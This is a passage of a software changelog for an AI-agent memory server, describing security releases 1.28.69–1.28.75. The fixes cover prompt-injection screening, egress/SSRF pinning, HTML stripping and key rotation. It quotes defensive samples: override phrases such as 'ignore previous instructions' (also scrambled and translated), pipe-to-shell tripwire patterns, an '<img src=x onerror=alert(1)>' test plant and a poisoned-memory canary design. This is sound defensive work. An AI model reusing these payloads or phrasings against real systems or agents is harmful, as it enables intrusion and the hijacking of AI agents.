  • The no-SQL-in-handlers guard caught three violations from this very fix pass (the handler kind-read moved to state::run_kind; test fixtures moved onto the production cores role::upsert, apply_user_map_change, revoke_principal) — the law polices its authors.
  • Pins added (10): strip_markdown_refs_does_not_heal_nested_construct, hostile_element_strip_does_not_heal_nested_tag, line_markers_anchor_on_every_break_class (the screen’s line class is the renderer’s — lone \r, VT, FF, NEL, U+2028/9 anchor too), score_field_is_budgeted, embed_input_is_budgeted, exec_deadline_kills_child, valet_due_requires_optin_and_domain_authz, refresh_refuses_revoked_identity, console_actor_revoked_refused, put_state_refuses_unscreened_valet_what, purge_removes_suggest_feedback_for_purged_chunk (11 counting the egress table extensions inside private_ranges_refused_table). CRATE_ TEST_FLOOR 1,363 → 1,372.
  • Gates: full bench suite green; clippy bench/default/otel clean; fmt + lipstyk clean; openapi.yaml/route tables/x-api-version diff-empty (no wire change — every surface here is behavioral or docs).
  • ponytail: what this release does NOT do: no restore/standby posture changes (v1.28.77), no KNN/dedup/legacy-search quarantine fixes (v1.28.78), no key-rotate ceremony or token-demotion changes (v1.28.79), no fork-side commits for SP-F2/F3/F4/F6 (they ride the next fork sync), no classifier-default change (still opt-in), no lattice, no policy engine, no new deps.

[1.28.75] — 2026-09-08 — “Preflight”: the program’s exit gate

The last REGISTER LINE release (X-W7, X-A4b, X-C5, X-C6, X-C8 — audit 2026-09-06 §4.1–4.3/§8), docs-heavy by design: the last release of a line certifies. This release is the gate: the 1.32.x Loop line may open — with its inherited preconditions (hardened dormant exec mediation + the dormancy pin to delete on wiring, review-by-default installs, pinned signers, origin labels). The program close-out — all 55 findings × disposition, the four-leg exit-gate drill, per-release deltas, and the surviving ceilings — is in docs/AUDIT.md. Plan: IMPLEMENTATION_PLAN_v1.28.75_Preflight.md.

Release notes

Security fixes

  • The dormant exec mediation is hardened — and its dormancy is now a declared, machine-checked state (X-W7): argv0 admission canonicalizes the resolved binary and refuses divergence from the allowlist prefix (the symlink-masquerade door the “refuse rather than canonicalize” posture left open); the danger screen is renamed in docs what it is — the TRIPWIRE (the allowlist is the admit gate) — and gains the pipe-to-shell family (| sh, | bash, | zsh, base64 -d); kill_on_drop is pinned at the exec spawn seam. The new dormancy pin (hostcalls_mediation_stays_unwired_until_loop_line) asserts ZERO production call sites — when the Loop line wires the mediation, it DELETES this pin and inherits the hardened ground; a silent partial wiring fails here first.
  • Review posture at install (X-A4b): install-service.sh writes BRAIN_WRITE_POSTURE=review for installs whose plist carries NO explicit posture yet — an operator-set value (including a deliberate open opt-out) is NEVER stomped by a re-run (the old unconditional remove+insert did exactly that on every update). The completion message names the resolved posture, what review means, and the opt-out. The compiled default stays open — unattended upgrades must not break; the installer is the posture authority.
  • The honest ceilings become docs truth (X-C5, X-C6): THREAT_MODEL.md now states verbatim-honest that (a) the audit chain’s HMAC key + head pin share the host with the DB — the chain detects SQL/application-level tampering, NOT host compromise; and (b) the live DB + .bak snapshots are PLAINTEXT on the primary (the encryption law covers the follower only). SECURITY.md carries both in the reporter scope — a reporter demonstrating “.bak extraction on a stolen disk” knows it is a known ceiling, not a bounty shape.
  • SBOM freshness is gated (X-C8): badges.sh --selfcheck (already run in CI) now REFUSES when sbom/brain-server-<version>.cdx.json is absent from the COMMITTED tree — the human step (generate + commit) is unforgoable; no CI bot commits.

Engineering record

  • Migration note (installer): existing plists are untouched — if your plist already carries a posture, re-running the installer keeps it and says so. New installs (and plists that never named a posture) get review.
  • Program close-out: docs/AUDIT.md carries the findings ledger × disposition (55 findings; the plan’s “41” undercounted — all are dispositioned: 46 fixed across v1.28.63–.75, 5 accepted ceilings/with-disclosure, 2 forward to their own lines, plus the .64 identity batch), the four-leg exit-gate drill transcript, and per-release test deltas.
  • Exit-gate drill (the four headline exploits re-run — all fail closed): (1) channel/out forge via the events route → REFUSED (reserved-topic pins); (2) steering launder via the same seam → REFUSED; (3) revoked principal on a non-mesh route → DENIED (kill- switch pins); (4) poisoned-memory canary (tag-encoded instruction + forged markers + image URL) → screened/fenced/stripped (the Meridian division-of-labor pin + fence welding pins). Transcripts in docs/AUDIT.md.
  • CI caught what macOS could not (merged-usr): the first CI run on the release commit went RED on Ubuntu — /bin is a symlink to /usr/bin there, so canonicalizing only the argv0 turned every honest textual allowlist entry (/bin/ls) into a refusal; two exec tests failed and release.sh REFUSED the tag on the red matrix (the fail-closed gate working as designed). The fix (this release’s final commit) canonicalizes the ALLOWLIST ENTRY too: canonical(entry) == canonical(argv0) admits binaries through symlinked directories, prefix entries compare against the resolved directory, and non-existent entries keep the textual fallback. New pins: the alias-directory admission and its sibling-refusal mirror.
  • Validation: full bench suite 1,458 passed / 7 ignored; clippy clean ×3 feature sets; fmt clean; lipstyk clean; CRATE_TEST_FLOOR 1,358 → 1,363; badges.sh --selfcheck green WITH the new SBOM gate; bash -n on the installer (shellcheck not installed locally — noted ceiling); released as tag v1.28.75 only after the fixed tree was CI-green.
  • ponytail (plan non-goals): the mediation is NOT wired (no consumer exists; wiring without the Loop line’s policy design would be speculative authority); no sandboxing/namespace isolation; no primary-disk encryption (FileVault is on; encrypting .bak breaks the restore-on-bare-metal path); no CI-committed artifacts.

[1.28.74] — 2026-09-08 — “Origin”: taint labels survive the whole trip

The fifth REGISTER LINE release (X-S2 at proportionate grade, X-F3 — audit 2026-09-06 §4.8/§4.9). THREE TREES: brain-server (capture stamps origin + telemetry posture), the plugin (labels + the exclude posture), the openclaw fork (replay marking). ONE boolean-grade label end to end — no lattice, no policy engine (CaMeL/FIDES stay reference models). Plan: IMPLEMENTATION_PLAN_v1.28.74_Origin.md.

Release notes

Security fixes

  • Capture stamps origin (brain): POST /ingest and POST /ingest/proposal accept origin_context: "owner"|"channel" (absent = owner, byte-compat; anything else is a 400 — closed vocabulary). A channel capture stores the row with origin channel-capture; under the review posture the proposal’s SOURCE is stamped channel-capture so the review queue renders the badge and the operator SEES “captured from channel traffic” at approve time; approval promotes the label onto the knowledge row.
  • The plugin renders + gates on origin (plugin 0.6.0): recall hit lines prefix [memory | channel-capture] INSIDE the fence for non-owner origins (owner hits untagged — no noise); the new untrustedOrigins: "label"|"exclude" config (default label) drops channel-captured hits from AUTO-INJECT entirely under exclude; the memory_recall TOOL path always labels (tools return what was asked). autoCapture sends origin_context: "channel" whenever the turn’s chat type is group/channel — the fact already existed client-side in the gating layer.
  • Replay marking (openclaw fork): the inbound boundary recognizes the [memory | …] prefix on QUOTED/REPLAYED text and marks it [quoted memory · origin: … — untrusted replay, not fresh prose] — a channel-forwarded memory line can no longer masquerade as fresh owner prose (the mirror of the <active_memory_plugin> handling). The fork reads NO brain store and learns NO schema — one textual convention at its own boundary.
  • Telemetry is untrusted infrastructure (X-F3): span attribute values derived from request text now pass the ANSI/C1 strip + unconditional PII redaction before export (domain labels at the recall + gate spans); query_hash is untouched; resource attributes (host/version) are static and unrouted. The OTLP export path logs the posture line at startup: “telemetry attributes are sanitized; treat any collector as untrusted infrastructure”.

Engineering record

  • Capstone line proof: the end-to-end trip is exercised per tree — capture (server test: the row lands channel-capture, default unchanged, unknown vocabulary 400s), the badge (proposal source pinned), labeling/exclusion (plugin vitest: prefix inside the fence, owner untagged, exclude filters, tool path always labels), replay (fork vitest: quoted prefix marks as untrusted replay, fresh text unaffected, idempotent). The live group-chat drill (poison a chat → proposal badge → approve → labeled recall) is recorded as the program’s .75 exit-gate canary leg.
  • Non-goals (ponytail, honest): no taint propagation THROUGH the model (output classification is LLM-work the mantra forbids); no per-recipient labels (the label is capture-time truth, not audience-aware); no openclaw-side enforcement beyond the exclude config; the FIDES/CaMeL lattice stays a reference model, not a dependency.
  • Validation: brain bench suite 1,453 passed / 7 ignored (otel 1,474; default 1,470); clippy clean ×3; lipstyk clean; plugin vitest 57 green (4 new); fork strip-inbound-meta suite 60 green (4 new); CRATE_TEST_FLOOR 1,356 → 1,358. openapi additive (both request fields); x-api-version unchanged; no schema migration (origin value extension only).
  • The synthetic tsconfig base used to run the plugin vitest suite in this repo (tsconfig.package-boundary.base.json, committed — it was previously implicit in the fork workspace and made the plugin suite unrunnable from a brain-server checkout) is now real; content is the minimal strict compiler config.

[1.28.73] — 2026-09-08 — “Keyring”: key + evidence lifecycle

The fourth REGISTER LINE release (X-C4, X-C3, X-W8 — audit 2026-09-06 §4.3/§4.1). Theme: the operator signing key becomes deterministic and rotatable with a one-deep overlap window, restore stops certifying chain-less images silently, and the two bounded-memory trade-offs get explicit eviction instead of flood-clear. Schema: ONE additive column (agent_cards.signing_epoch) — version 1.28.73, contract test extended. Plan: IMPLEMENTATION_PLAN_v1.28.73_Keyring.md.

Release notes

Bug fixes

  • The UMP revocation-replay cache no longer clears ALL pins at the 4096 cap: a flood now evicts only the OLDEST quarter (insertion-order truncate), so recent capability pins survive and the documented trade-off shrinks to “the oldest quarter of the window”.
  • The revocation drain no longer silently abandons runs past the first 200: it pages (max 10 × 200) and, when the budget is exhausted, writes a loud drain_incomplete row on the hash-chained audit trail naming the remainder.

Security fixes

  • The operator signing key is DETERMINISTIC (X-C4): the fixed filename operator.ed25519 inside the key dir replaces the first-file readdir scan (which nondeterministically picked whichever seed the filesystem listed first — rotation invalidated EVERY card at once). Existing installs migrate transparently: the first admissible seed is renamed once, logged. A wrong-size or leaked seed at the fixed name is now a LOUD refusal — the historical silent degrade to L2 hash-only integrity dies.
  • brain key rotate — the operator rotation verb: current key → operator.ed25519.prev (atomic rename), new 0600 seed written, generation bumped, hash-chained audit row. Cards signed by the old key keep verifying through the ONE-deep overlap window; a second rotate deliberately refuses while .prev exists (a third generation would orphan the middle one — pinned). NO scheduling, NO background anything.
  • Cards carry signing_epoch (additive column): verify_card picks the key deterministically — current generation → current key, previous generation → .prev, legacy NULL rows try both (old binaries’ behavior plus the window, byte-compat).
  • Restore tells the truth about chain-less images (X-C3): a backup image with NO audit_events table REFUSES with chainless_image_refused unless the CLI passes --allow-chainless (the flag restores with a loud disclosure — no chain exists to carry the row, and that absence IS the finding). Legacy-epoch (unkeyed SHA-256) chains restore marked legacy_unkeyed_chain: forgeable: true on the completion line + a disclosure evidence row naming --re-audit as the re-anchor. Head-pin rollback stays disclosed-not-refused (the legitimate restore-from-older recovery use).

Engineering record

  • Rotation ceremony mapping (honest): the plan’s key_rotation lineage event maps onto the audit chain itself (the register IS the audit chain — no parallel event store for an identity-scoped act; the Advocate precedent). The outbox lineage machinery is run-scoped; rotation is not.
  • Schema: agent_cards.signing_epoch INTEGER (additive, NULL for legacy rows), version stamp 1.28.62 → 1.28.73, contract test extended same-commit; boots green on a COPY of the fixture corpus (the standby roundtrip proptest exercises the new restore path).
  • Drills (all test-level, on copies + scratch key dirs): rotate → old card verifies via .prev, new card signs with the current key (rotate_keeps_old_card_verifying_via_prev); a no-audit-events image → restore refuses (chainless_backup_refused_without_flag); the legacy image restores with the forgeable mark + evidence row (legacy_chain_marked_forgeable_until_reanchor); a second rotate → first-generation cards die (third_generation_kills_first); the transparent rename rehearsed (legacy_first_file_migrates_transparently).
  • Validation: full bench suite 1,450 passed / 7 ignored (default 1,467; otel 1,469); clippy clean ×3 feature sets; fmt clean; lipstyk clean; CRATE_TEST_FLOOR 1,345 → 1,356 (needle re-measured).
  • ponytail (plan non-goals): no HSM/KMS (the threat model is a laptop + disk; 0600 + deterministic + one-deep overlap is the proportionate ceremony); no automatic rotation scheduling (no background workers); no multi-party signing; same-disk key ceiling stands until v3.7-class work.
  • Migration note: none required for correct installs — the fixed filename adopts in place on first boot; operators with MULTIPLE seeds in the key dir get the first admissible one (documented nondeterminism, now resolved once and logged).

[1.28.72] — 2026-09-08 — “Scrim”: every emitted surface is shaped

The third REGISTER LINE release (X-R3, X-W6, X-L4, X-E5 — audit 2026-09-06). Theme: the read seam strips hostile HTML element names, the write-on-read GET gets a gate, the SSE denial becomes an HTTP status, and the KB library escapes its operator args like it escapes everything else. One visible output-bytes change, one wire-visible status change — both ledgered. No schema. Plan: IMPLEMENTATION_PLAN_v1.28.72_Scrim.md.

Release notes

Bug fixes

  • The KB site generator escapes operator-configured values (base_url, config locales) in every generated surface — hreflang alternates, the sitemap loc/alternates, the no-translation branch’s locale — so a malformed config renders inert text instead of injecting markup. The library now enforces the CLI’s locale contract (non-empty, ≤ 12 chars, ASCII alphanumeric + hyphen); invalid locales generate no files.

Security fixes

  • The read seam strips hostile element names (X-R3): a closed, case-insensitive, attribute-greedy set — script/img/iframe/svg/object/embed/link/meta/form/input/video/audio/ source/track/base — applied AFTER the markdown-ref strip (so hybrid forms meet the tag stripper too). Prose angle-brackets survive (“x < y”, “<3”, “ac” are pinned). Storage stays verbatim: digest-bearing surfaces are untouched. Bare URLs in prose remain the documented linkified-but-inert ceiling — no URL rewriting.
  • GET suggestions stops writing unguarded (X-W6): the KCS evidence side-effect (abstention + SIR rows) now requires Write on the run’s domain AND the workflow role capability. Read-only principals get the suggestions body unchanged with the additive evidence_recorded: false. The endpoint is NOT split or moved — the KCS double loop’s capture is intact for writers.
  • A denied /events subscriber gets HTTP 403 (X-L4) instead of a 200-then-error-event: monitors see the denial, connection errors surface, and the poll fallback keys on the failure. The error-EVENT mechanism remains for mid-stream failures (a different failure class — the boundary is commented at the handler). The client events driver already handled non-200 statuses (verified: ApiError::Status path) — no client change was required.

Engineering record

  • Bytes-change ledger (honest): stored markup now disappears from read seams — recalled/queried/exported text that carried <img ...>-class tags returns stripped. Stored digests do NOT move: review_digest binds the STORED form (order load-bearing PII → invisible → markdown refs → elements; the element strip is read-seam only), and the KB determinism corpus re-ran green.
  • Status-change ledger: /events denial 401/403 replaces the legacy 200+SSE-error shape; the authz matrix moved /events out of SSE_SOFT (/ump/subscribe keeps the in-band denial). openapi documents both wire deltas additively; x-api-version unchanged.
  • Fast-path integrity: the borrow-preserving sanitize_read_cow fast path now also requires a <-free row — an element-carrying row can never take the borrowed (unstripped) branch (pinned).
  • Drill: the <img src=x onerror=alert(1)> plant shape stored in content reads back EMPTY through sanitize_read (pinned), and the svg+onload variant carries no element text while prose survives.
  • Validation: full bench suite 1,439 passed / 7 ignored; clippy clean; fmt clean; CRATE_TEST_FLOOR 1,336 → 1,345 (needle re-measured). New pins: the element strip table, prose-survival, svg/onload, markdown regression, the cow fast-path guard, the suggestions read/write split, the SSE status denial + stream-open, and the three KB escaping/validation pins.
  • ponytail (plan non-goals): no full HTML parser (closed name-set only); no bare-URL handling (ceiling stands); sanitize_public’s no-bypass posture untouched.

[1.28.71] — 2026-09-08 — “Pores”: the screen sees what the model sees

The second REGISTER LINE release (X-R4, X-R6, X-R7 — audit 2026-09-06 §4.4). Theme: the layer-1 injection screen stops running on raw bytes while the classifier sees the stripped form; the vocabulary stops being 13 English phrases; the layer-2 classifier turns itself on when its model is present; and the log/bridge seams adopt the canonical strips. Screen verdicts shift at the margin — QUARANTINE-WARD only. No schema; no routes; x-api-version unchanged. Plan: IMPLEMENTATION_PLAN_v1.28.71_Pores.md.

Release notes

Bug fixes

  • The log seam no longer lets ANSI/C1 escape sequences through to log values: request-derived values logged by the memory routes route through the shared control-char strip, so a crafted ESC[... payload cannot script the operator’s terminal via the launchd/journald stream (line-forging stayed closed; the escape-class gap is now closed too).
  • Slack/Teams message previews strip the canonical invisible-Unicode class and dereference markdown image/link refs at the bridge edge before the 4000-char clamp — previews previously rode the control-char scrub only. The kernel screen stays authoritative server-side; this is defense-in-depth at the rendering boundary.

Security fixes

  • The injection screen runs on the stripped form — the same normalization the layer-2 classifier input gets. A bidi-split structural marker (sys\u202Etem:) or zero-width-split role heading can no longer dodge the blocklist leg while the classifier sees it clean. Verdicts can only move Clean→Quarantine/Reject from this change, never the reverse.
  • The blocklist stops being 13 English phrases: translation families (Spanish, German, French, Dutch, Filipino) cover the same six instruction-override intents; a typoglycemia tier catches scrambled-middle evasions (“ignroe all prevoius systme instructions”) via the OWASP cheat sheet’s minimal anagram match (first+last equal, sorted middle equal, length ≥ 4); and a bounded encoding tier decodes base64/hex runs (≥ 24 chars, first 8 runs, ≤ 4 KiB per decode) and re-scans the decoded text against the same detector.
  • The layer-2 classifier auto-loads when its model artifact is present (feature-gated builds): BRAIN_INJECTION_CLASSIFIER=off opts out, on/unset probes the default artifact location (~/.config/brain-server/models/injection-classifier/), an explicit path keeps working — and a non-existent explicit path now REFUSES the boot (fail-closed; a typo must not silently disable layer 2). /health/db echoes the tri-state injection_classifier: on|off|absent. The poison posture is unchanged (a dead classifier scores fail-open 0.0 — layer 2 never eats ingest).

Improvements

  • install-service.sh scaffolds the classifier artifact directory and surfaces the layer-2 posture at install time (artifact fetching stays an operator step; the model manifest pins integrity).

Engineering record

  • Verdict-shift disclosure (honest): the four breadth additions move verdicts QUARANTINE-WARD at the margin — the bidi-wrapped phrase that motivated the stripped-form change now quarantines (was Clean), and translated/scrambled/encoded instruction phrasings quarantine where they previously sailed through. The clean-corpus pins (clean_text_verdicts_unchanged_table, no_false_positive_drift_on_clean_corpus) guard the reverse: no corpus entry flipped clean-ward, and no benign prose in the fixture corpora drifted quarantine-ward (a punctuation-adjacent and a long-standing “system prompt” corpus entry were corrected during development — the matcher behavior was right both times).
  • The screen is a tripwire, not a boundary — standing honesty note. The OWASP Best-of-N finding (power-law scaling; 89% success on GPT-4o at sufficient attempts) is now cited in the module doc verbatim: static filters SLOW attackers, they never stop them. The boundary is the pairing — flagged/untrusted segregation, the unforgeable fence, and the HITL approval gate. The dual-LLM/guardrail-model pattern remains considered-and-rejected (the house LLM-screening ban).
  • Matcher ceiling (deliberate): the anagram tier stops at first+last/sorted-middle equality — Levenshtein/Damerau distance matching needs a string-metric crate, deliberately not taken. Exact keywords alone never trip the anagram tier (bare “system”/“ignore” are ordinary prose). The token-run matcher stays punctuation-adjacent blind (a comma fused to a phrase’s last word dodges it) — same as the English list pre-Pores. The encoding tier is bounded (8 runs, 4 KiB, single decode level, no recursion — encoding_scan_bounded pins the cap including the honest “run #9 is not decoded” direction).
  • Bridge parity method: the bridge crate’s strip is a byte-for-byte port of the kernel scanner semantics (first-]/first-) link scan) over the synced plugin format.ts invisible class set — the parity property is pinned bridge-side (kernel_screen_still_authoritative). The bridge crate suite runs in the crates CI job; its test floor holds.
  • M4 delta: sanitize_log_value now maps \r to removal (was: a space) — one space narrower, still line-forge-proof; \n→space and tab-survival are pinned to the pre-existing behavior.
  • Validation: full bench suite 1,426 passed / 7 ignored (default-features 1,443; otel 1,445); clippy clean; fmt clean; the channel-bridge crate suite green (39 tests); CRATE_TEST_FLOOR 1,318 → 1,336 (needle re-measured: +18 bare-#[test] pins — the Pores family + the drill pin). Drill: the bidi-wrapped “ignore previous instructions” class now quarantines (pinned, bidi_wrapped_phrase_now_quarantines), and the Meridian canary memory keeps its screen verdict Clean (pinned, meridian_canary_screen_verdict_unchanged) — it was designed to slip the screen and is caught at the read seam instead.
  • ponytail (plan non-goals): no LLM-based screening; no classifier-as-gate (advisory tier only); no embedding-similarity blocklist; no string-metric dependency; the installer does not fetch model artifacts (scaffold + guidance only — fetching stays an operator step).
  • OpenAPI/schema: untouched. x-api-version: unchanged. New deps: none (base64/hex were already in the tree).

[1.28.70] — 2026-09-08 — “Twokeys”: the opaque-mode operator/agent split — the REGISTER LINE opens

The first REGISTER LINE release (X-A4a carried F-W1 + X-A5 — audit 2026-09-06 §4.2). Theme: the installer’s two-token convention — operator on line 1, agent on line 2, which the plugin has read deliberately all along — becomes a TYPED principal server-side, and the observability family stops narrating every tenant to every reader. One additive env (AGENT_TOKEN_FILE), one re-shaped response (/health/db), one scoped label set (/metrics). No schema; no routes; x-api-version unchanged. Plan: IMPLEMENTATION_PLAN_v1.28.70_Twokeys.md.

Release notes

Bug fixes

  • None. (The cross-tenant telemetry tightening (X-A5) is a security fix and lives below.)

Security fixes

  • The agent token becomes a principal (X-A4a, carried F-W1 — open since 2026-08-23). In an opaque-token deployment, line 2 of the token file (or the new AGENT_TOKEN_FILE, same 0600 secret-file law, same constant-time compare) now authenticates as a SCOPED principal — PrincipalKind::AgentLoopback, sub agent@loopback — instead of another superuser bearer. The scope set is write:*/global (write implies read down; the shared pool only) and the role set is the ship-with agent preset (can read/write/reject — recall, search, suggest, ingest→proposal, UMP remember→proposal under the review posture, reject own drafts). NOTHING is granted agent-specifically: the EXISTING authz matrix binds the principal everywhere — no Admin, no purge, no domains, no revoke, no dsar, no DPO boards, and no workflow-engine capability. Blackout’s kill-switch applies BY PRINCIPAL NAME: POST /ops/agents/revoke for agent@loopback and the next agent bearer dies 401 identity_revoked at the middleware. Agent 403s are audited at that boundary (agent_forbidden rows) so the denials are evidence, not silence. A leaked (group/world-readable) or empty AGENT_TOKEN_FILE refuses the boot.
  • The observability family stops narrating every tenant (X-A5). The full /health/db body (model, OTLP endpoint, DPO contact, durability posture, per-domain WAL, sizes) is operator telemetry and now requires an Admin credential on global; a Read credential receives the reduced probe {status, version, db_ok} — the public /health content plus the pool-liveness bit; a credential with neither Read nor Admin is 403 (openapi documents the new shape). /metrics per-domain gauge labels (brain_pool_in_use, brain_pool_idle, brain_wal_pages_pending) render the domain NAME only for principals whose scope grants Read there — the same can_read_domain predicate the read paths use; out-of-scope domains collapse into one SUMMED domain="other" series per gauge (counts visible, names hidden — no duplicate series). Global gauges are unchanged.

Improvements

  • Boot logs the auth posture, post-tracing-init: auth: operator token + agent token (scoped) or auth: single token (LEGACY SUPERUSER — second line recommended).
  • AUTH_TOKEN env content keeps today’s all-operator semantics byte-identically — the line contract lives in the token FILE only.
  • Read-only dashboards that scraped the full /health/db body add the admin credential (see the migration note below).

Engineering record

  • F-W1 closure disclosure (carried since 2026-08-23), stated honestly: the static-superuser gap is now ENFORCED CLOSED for two-token setups — the second token is scoped by the server, not by installer convention. Single-token deployments keep the documented legacy superuser posture byte-identically (pinned by single_token_legacy_posture_unchanged + operator_token_behavior_byte_identical): the file format is additive, the boot warn is the nudge, and there is no forced migration. The audit’s compounding concern — the still-unpurged openclaw-side token leak — remains an ops item (AGENTS.md Known Issues); rotating to a two-line file neutralizes the exposed bearer’s authority even before that purge lands.
  • Migration note (Read-only dashboards): /health/db full bodies need the admin credential; Read credentials get the reduced probe. Scrapers keying on per-domain metric LABELS need a scope matching the domain (or they see other).
  • Migration note (single-token operators): nothing changes on the wire; add an agent line (or AGENT_TOKEN_FILE) when you want the plugin’s token scoped.
  • Role-table ceiling (honest): the workflow engine capability is not grantable to ANY ship-with role (role::validate restricts can to CAN_ACTIONS, which does not name it), so the agent principal cannot reach the workflow-engine surfaces (runs/state/events/rewind, valet, handover offers, calibration, scoreboard). Engine seams stay operator-side — revisit when the 1.32.x Loop line needs an agent-reachable workflow vocabulary. The agent preset’s reject capability DOES pass the proposal-reject route (rejecting own drafts is the designed act); the kcs publish-retract branch carries only the Write scope and likewise passes.
  • ponytail (plan non-goals): no per-agent identities (one agent@ loopback principal; fine-grained agent tokens wait for a real second consumer); no JWT-mode changes; no metrics authz redesign; SPIFFE stays v3.7.
  • Validation: all plan tests green — agent_token_authenticates_as_ scoped_principal, agent_principal_denied_admin_routes (the purge/domains/revoke/dsar sample + the agent_forbidden audit row), agent_principal_can_propose_not_promote (202 pending → approve 403), operator_token_behavior_byte_identical (status AND body equal with and without line 2), single_token_legacy_posture_unchanged, revoked_agent_principal_denied_everywhere, agent_token_file_modes_ enforced, auth_token_sets_second_line_is_agent, auth_token_sets_env_tokens_stay_all_operator, auth_token_sets_agent_file_overrides — plus the authz-matrix class extension authz_matrix_agent_loopback_class (every AUTHZ_GATES row × the agent class, role-gated rows tabulated from the handler sources) and the M2 set health_db_admin_full_read_reduced, public_health_unchanged, admin_sees_domain_labels, tenant_reader_sees_other_not_domain_names (pure pin over scoped_domain_label — shim-mode /metrics can only enumerate global, which every /metrics reader is gated to read, so the cross-tenant collapse is witnessed at the rule itself). Full suite 1,414 passed / 6 ignored at the release commit; clippy bench/default/otel clean; fmt + lipstyk clean; CI dry-run set green; CRATE_TEST_FLOOR 1,313 → 1,318 (needle re-measured: +5 bare-#[test] pins; the ten tokio agent pins ride outside the needle).
  • openapi additive: /health/db description + the reduced Read shape + the 403 response. No other wire change; x-api-version unchanged; schema untouched.
  • DRILL 2026-09-08 on a COPY of the live DB (release build v1.28.70, test port 8766, two-line token file 0600, BRAIN_WRITE_POSTURE=review): (1) agent bearer → POST /purge → 403 {"error":{"code":"forbidden", "message":"no scope grants Admin on global/global", …}} and the drill DB holds EXACTLY ONE audit_events row with status='denied' and detail_hash = sha256("agent_forbidden") — the denial is evidence; (2) agent bearer → POST /ingest → 202 {"proposal_id":1310, "status":"pending"} — the write landed as a pending proposal, promotable only by an approver; (3) operator bearer → POST /ops/agents/revoke {"principal":"agent@loopback"} → 200 {"revoked":true,"runs_drained:0}, the NEXT agent request dies 401 {"code":"identity_revoked"} at the middleware while the operator bearer still passes /stats 200 — Blackout’s kill-switch binds the agent by name, class-blind; (4) shapes: the operator’s /health/db is the full body (17 top-level keys, model + compliance/DPO present) while the agent’s is the reduced probe {"db_ok":true,"status":"ok","version":"1.28.70"} — and the agent’s /metrics scrape renders the shared pool named (brain_pool_in_use{ domain="global"} — in scope) with no foreign names to hide. Boot posture lines witnessed in both postures: auth: operator token + agent token (scoped) on the two-line file and auth: single token (LEGACY SUPERUSER — second line recommended) on a one-line file. Drill sequencing note (honest): the first pass ran the shape leg AFTER the revocation leg and the agent correctly 401’d — revocation is persistent, so the shapes were re-witnessed on a fresh boot of the same copy with the revocation row cleared.

[1.28.69] — 2026-09-08 — “Deadbolt”: the egress and process boundary — the SEAM LINE closes

The last SEAM LINE release (X-E3, X-M4, X-M5, X-M6 — audit 2026-09-06 §4.7/§4.5). Theme: the two doors left open by .63–.68 — program-driven EGRESS (the shared webhook client could reach any private network its URL named, DNS rebinding included) and the PROCESS boundary (the console crank resolved its harness through PATH, could outlive its timeout, and the pending listing role-checked nothing). One boot-time refusal for private-IP sinks (explicit opt-out env), one spawn-site hardening, one 403. No schema change; no route changes; no openapi change; x-api-version unchanged. Plan: IMPLEMENTATION_PLAN_v1.28.69_Deadbolt.md.

Release notes

Bug fixes

  • None. (The orphaned-crank-child fix (X-M5) is a process-hygiene security fix and lives below.)

Security fixes

  • SSRF/IP-validation on the shared egress client (X-E3, carried F-E5). The two env webhook sinks (BRAIN_ALERT_WEBHOOK_URL, BRAIN_DSAR_WEBHOOK_URL) now resolve → validate → PIN at boot, per the OWASP SSRF Prevention Cheat Sheet’s bypass-proof form: EVERY resolved address (A + AAAA) must be globally routable per the IANA IPv4/IPv6 special-purpose registries (0/8, 10/8, 100.64/10 CGNAT — Tailscale lives there, 127/8, 169.254/16 + cloud metadata, 172.16/12, 192.0.0/24, 192.0.2/24, 192.168/16, 198.18/15, 198.51.100/24, 203.0.113/24, 240/4, 255.255.255.255; ::, ::1, fc00::/7, fe80::/10, ff00::/8, 2001:db8::/32), parsed as real IpAddrs — string encodings (hex/octal/dword) are canonicalized by the URL parser before the table ever sees them. The metadata hostnames metadata.amazonaws.com / metadata.google.internal refuse before resolution. The pinned client forces every send to the validated address set (reqwest resolve_to_addrs; TLS SNI preserved) — DNS rebinding is closed for the process lifetime. Redirect refusal was the first layer and stays.
  • The crank’s binary, absolutely (X-M4). resolve_harness_bin no longer scans PATH: a writable PATH entry in the service context can never again become arbitrary code execution as the service user. Resolution is the absolute BRAIN_STEWARD_BIN override (a RELATIVE value refuses with the requirement named — no silent exe-dir fallback for an override that cannot be honored) or the binary installed beside the kernel. The brain workflow crank CLI keeps its own PATH resolution (the operator’s own trusted context — documented ceiling).
  • The crank’s child dies with its budget (X-M5). The harness spawn carries kill_on_drop(true): the 60 s timeout now reaps the child instead of orphaning it past its window. The 30 s hostcall exec path was audited in the same commit — its deadline loop already killed explicitly; the one early-return that could orphan (a failed try_wait) now kills + reaps before returning.
  • The console pending listing role-checks (X-M6). POST /webhooks/channel/{kind}/console with action: "pending" (proposal bodies + digests) now requires the mapped actor’s read capability through the same channel_user_map + role-store machinery every other console action uses (empty grants nothing). decide, due, crank unchanged.
  • Hostcall egress pinned (X-E3, hostcall half). The mediated HTTP path keeps its operator allowlist (the trust anchor; loopback stays a legal target) but now resolves each allowlisted host ONCE and pins the per-host client for the process lifetime — rebinding closed there too. The client cache is insert-only and bounded structurally by the allowlist (membership is re-checked before any insertion).

Improvements

  • BRAIN_EGRESS_ALLOW_PRIVATE=1 is the ONE egress opt-out (fail-closed parse: any other value refuses the boot — the BRAIN_WRITE_POSTURE pattern). It admits a private/metadata sink LOUDLY (boot warn names the host) and the sink stays DNS-pinned.
  • A sink whose host does not resolve at boot no longer kills the boot (the sink may be unused): it warns and fails closed lazily on first send with the named egress_unresolved label.

Engineering record

  • Migration note (private-sink operators): a webhook sink aimed at a LAN/loopback address now REFUSES THE BOOT (the WRITE_POSTURE pattern: a private sink is a misconfiguration, never a runtime surprise). If the target genuinely lives on your private network, set BRAIN_EGRESS_ALLOW_PRIVATE=1 — the admission is a loud warn and the sink stays pinned. One release of grace: the env can pre-neutralize the refusal without a revert.
  • Migration note (steward-bin PATH users): deployments relying on PATH lookup for steward-harness must set BRAIN_STEWARD_BIN to an ABSOLUTE path or install the binary beside brain-server. A relative BRAIN_STEWARD_BIN now refuses the crank with the requirement named.
